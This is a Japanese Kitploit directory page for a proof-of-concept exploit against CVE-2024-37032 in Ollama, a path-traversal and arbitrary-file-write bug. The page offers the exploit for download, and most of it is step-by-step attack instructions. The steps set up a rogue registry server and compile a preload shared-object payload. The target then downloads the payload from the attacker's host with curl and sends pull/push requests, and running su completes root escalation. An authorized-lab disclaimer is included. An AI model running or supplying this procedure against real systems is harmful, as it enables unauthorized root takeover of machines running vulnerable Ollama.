Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-37032-PoC — CVE-2024-37032 (Probllama) Ollama ≤0.1.33用PoC: モデルダイジェスト処理を介したパストラバーサルと任意ファイル書き込み、自動化された権限昇格につながる。 | Kitploit
ツール/GitHubGitHub/itzsh4dowxz/cve-2024-37032-poc
特権昇格脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubitzsh4dowxz/cve-2024-37032-poc

CVE-2024-37032-PoC

CVE-2024-37032 (Probllama) Ollama ≤0.1.33用PoC: モデルダイジェスト処理を介したパストラバーサルと任意ファイル書き込み、自動化された権限昇格につながる。

リポジトリを見る
8203ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-37032 Probllama PoC — Ollama パストラバーサルおよび権限昇格

このリポジトリには、許可されたラボテスト用の Proof of Concept の FastAPI レジストリサーバー、コネクタスクリプト、およびプリロードデモライブラリが含まれています。

自分が所有している、または明示的にテストを許可されたシステムでのみ使用してください。

ファイル

  • server.py: FastAPI PoC サーバーを起動します。
  • rogue_server/config.py: PoC サーバーの中央設定。
  • connector.py: ターゲットの Ollama API に対してプル/プッシュリクエストを送信します。
  • preload_privs_demo.c: 共有オブジェクトペイロードの C ソース。
  • requirements.txt: PoC サーバーの Python 依存関係。

1. サーバーの依存関係をインストール

ホストマシンで、Python の依存関係をインストールします:

python -m pip install -r requirements.txt

2. ホストとポートを設定

ホストマシンで rogue_server/config.py を編集します:

HOST = "<your_host_ip_or_host_ip>"

connector.py を編集します:

SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434

注意:

  • SERVER_HOST は server.py を実行しているホストを指す必要があります。
  • PoC サーバーがポート 8000 で実行されている場合、HOST と SERVER_HOST の両方にポートを含めます(例: 10.10.16.160:8000)。
  • TARGET_HOST と TARGET_PORT はターゲットの Ollama API を指す必要があります。connector.py をターゲットマシン上で直接実行する場合、通常は 127.0.0.1:11434 で正解です。
  • rogue_server/config.py を変更した場合は、PoC サーバーを再起動します。

3. 共有オブジェクトをビルド

C ファイルをコンパイルし、出力を libpreload_privs_demo.so という名前にします:

gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c

4. ファイルをターゲットに転送

これらのファイルを許可されたターゲットマシンにコピーします:

  • libpreload_privs_demo.so
  • connector.py

簡単な方法の 1 つは、ホストマシンから HTTP サーバーで提供することです:

python3 -m http.server 8081

その後、ターゲットマシンからダウンロードします:

curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py

共有オブジェクトをダウンロードしたら、ターゲットマシン上の絶対パスをコピーし、ホストマシン上の rogue_server/config.py の exploit_path にその同じパスを設定します。

例:

exploit_path = "/tmp/libpreload_privs_demo.so"

5. PoC サーバーを起動

ホストマシンで FastAPI サーバーを起動します:

python server.py

デフォルトでは、このプロジェクトは Uvicorn を 0.0.0.0:8000 で起動します。

6. コネクタを実行

許可されたターゲットマシンで、以下を実行します:

python3 connector.py

コネクタは、設定された Ollama API にプルリクエストとプッシュリクエストを送信します。

7. 結果を検証

コネクタの実行が完了した後、以下を実行します:

su

脆弱で適切に設定されたラボターゲットでは、プリロードパスが使用され、権限の移行が観察できるはずです。

トラブルシューティング

  • ホストのファイアウォールが PoC サーバーのポートと一時ファイルサーバーのポートを許可していることを確認します。
  • connector.py の SERVER_HOST が rogue_server/config.py の HOST と一致していることを確認します。
  • exploit_path がターゲットマシン上で libpreload_privs_demo.so が存在する正確な絶対パスであることを確認します。
  • ターゲットの Ollama API が TARGET_HOST:TARGET_PORT で到達可能であることを確認します。
  • rogue_server/config.py を変更した後は server.py を再起動します。
ツールをダウンロード